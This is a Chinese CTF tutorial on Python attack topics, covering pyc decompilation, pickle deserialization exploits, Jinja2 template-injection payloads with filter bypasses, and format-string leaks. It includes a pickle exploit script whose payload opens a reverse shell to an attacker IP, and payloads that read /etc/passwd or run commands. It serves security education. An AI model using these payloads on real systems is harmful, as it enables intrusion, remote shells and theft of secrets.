一文掌握CTF中Python全部考点
字数 900 2025-08-15 21:30:29
CTF中的Python考点全面解析
一、Python字节码(.pyc)相关考点
1.1 pyc文件简介
- pyc文件是Python文件编译后生成的字节码文件(byte code)
- 类似Java的.class文件,可以跨平台部署
- py文件改变后会重新生成pyc文件
1.2 pyc文件生成方式
-
导入方式生成:
# test1.py def a(): return 1 def b(): return 2 x = a(); y = b() print(x + y) # test2.py import test1 # 运行python test2.py会生成test1.pyc -
命令行直接生成:
python -m test1.py -
使用py_compile库:
import py_compile py_compile.compile('foo.py') # 编译整个目录 import compileall compileall.compile_dir(r'/path')
1.3 pyc文件结构
pyc文件由三部分组成:
- 前4字节:Magic int,标识pyc版本
- 接下来4字节:生成时间戳(1970.01.01到生成时的秒数)
- 序列化的PyCodeObject结构
1.4 CTF案例:PYTHON字节码
题目分析:
- 给定crackme.pyc文件,需要逆向分析
- 使用工具uncompyle2或在线工具(https://tool.lu/pyc/)反编译
关键加密函数:
def encrypt(key, seed, string):
rst = []
for v in string:
rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
seed = (seed + 1) % len(key)
return rst
解密脚本:
KEY2 = [124,48,52,59,164,50,37,62,67,52,48,6,1,122,3,22,72,1,1,14,46,27,232]
KEY1 = 'Maybe you are good at decryptint Byte Code, have a try!'
def decrypt(key,seed,en_out):
string = ''
for i in en_out:
v = (i ^ ord(key[seed]))-seed
seed = (seed + 1) % len(key)
if v > 0:
string += chr(v)
return string
print(decrypt(KEY1,5,KEY2)) # 输出flag: WCTF{ILOVEPYTHONSOMUCH}
二、Python序列化和反序列化
2.1 序列化方法
-
dump:保存到文件
import cPickle data = range(1000) cPickle.dump(data,open("test\\data.pkl","wb")) -
dumps:保存到字符串
data_string = cPickle.dumps(data)
2.2 反序列化方法
-
load:从文件恢复
data = cPickle.load(open("test\\data.pkl","rb")) -
loads:从字符串恢复
data = cPickle.loads(data_string)
2.3 反序列化漏洞利用
危险payload示例:
import os
import pickle
class exp(object):
def __reduce__(self):
return (os.system,('ls',))
a = test()
payload = pickle.dumps(a)
pickle.loads(payload) # 执行系统命令
2.4 Web应用中的反序列化漏洞
漏洞代码:
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user) # 危险的反序列化点
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
利用脚本:
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'"""
return os.system, (s,)
e = exp()
s = pickle.dumps(e)
response = requests.get("http://target.com/",
cookies=dict(user=base64.b64encode(s).decode()))
2.5 防御措施
- 使用安全的序列化格式如JSON
- 实现沙盒限制危险函数
- 使用签名验证序列化数据
三、Python沙盒及SSTI绕过
3.1 SSTI原理
- 服务端模板注入(Server-Side Template Injection)
- 通过恶意输入在模板引擎中执行代码
- 常见于Flask+Jinja2组合
3.2 常见payload
-
读取配置:
{{config}} {{url_for.__globals__['current_app'].config}} -
文件操作:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} -
命令执行:
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
3.3 绕过技巧
-
过滤引号:
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd -
过滤双下划线:
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
3.4 控制结构利用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
四、Python格式化字符串漏洞
4.1 漏洞原理
当格式化字符串可被控制时,可能导致敏感信息泄露:
config = {'SECRET_KEY': 'secret'}
user = User('test')
# 恶意利用
'Hello {user.__class__.__init__.__globals__}'.format(user=user)
# 输出包含config等敏感信息
4.2 CTF案例:百越杯Easy flask
漏洞点:
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
info = (name+email+secert_t).format(user_m=user_m)
利用payload:
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
防御措施:
- 避免用户控制格式化字符串
- 对用户输入进行严格过滤
- 使用安全的模板渲染方式